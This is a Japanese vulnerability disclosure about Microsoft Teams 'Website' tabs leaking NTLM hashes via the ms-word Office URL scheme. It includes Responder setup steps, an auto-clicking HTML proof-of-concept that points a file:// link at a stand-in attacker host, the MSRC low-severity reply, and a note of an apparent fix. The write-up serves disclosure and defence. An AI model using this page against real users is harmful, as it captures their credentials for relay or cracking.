説明

ユーザーが、特別に設計されたウェブページへ誘導する「Website」タブに移動すると、Office URL スキーマの起動を通じて NTLM ハッシュが漏えいする可能性があります。これにより、漏えいまでのプロセスはシングルクリックの経路にまで簡略化されます。

ブラウザから ms-word:ofv|u|file://Share/File.docx 形式のリンクを開こうとした場合、以下の手順が必要です：

1- ユーザーは Word を開く意図を確認する必要があります。

2- ユーザーは MS Office の警告メッセージに示されるリスクを認識し、受け入れる必要があります。

ただし、Website タブでは、ユーザーのアクションはリスクを受け入れることだけに簡略化されます。

再現手順

「攻撃者」マシンで Responder を実行します。
以下のコードを含む HTML ページを配信します。

<html>
<head>
    <title>Auto Open Document</title>
</head>
<body>
    <a href="ms-word:ofv|u|file://ResponderIP_Or_MachineName/File.docx" id="autoOpenLink"></a>
    <script>
        window.onload = function() {
            document.getElementById('autoOpenLink').click();
        };
    </script>
</body>
</html>

3. Teams で、設定したウェブページへ誘導する「Website」タブをセットアップします。 4. その「タブ」にアクセスします。

タブにアクセスすると、JavaScript によってトリガーされたリンクが自動的に Word の起動を開始します。ユーザーが Word のプロンプトで「はい」をクリックして同意すると、NTLM ハッシュが「攻撃者」のマシンに送信されます。

デモ

PoC

開示

2024年3月27日(水) 20:23 Microsoft Security Response Center <[email protected]mailto:[[email protected]](mailto:[email protected])> は次のように書きました:
こんにちは、
ご提出ありがとうございます。お客様の報告を検証したところ、有効な問題ではありますが、重大度が低いため、即時のサービス提供の基準を満たしていないと判断しました。当社のエンジニアは、NTLM が漏えいする前に、ユーザーが Word または他の Office クライアントで同意する必要があるであろうことから、重大度が低くなると指摘しました。ただし、お客様の報告は、製品を改善する機会として、また改善すべき機能の問題として、今後のレビューのためにマークしました。このレビューの時期については未定です。現時点でさらなる対応は不要ですので、本件をクローズします。
よろしくお願いいたします。
MSRC

Microsoft Teams バージョン 24033.813.2773.520 で修正されたようです。

TeamsNTLMLeak

人気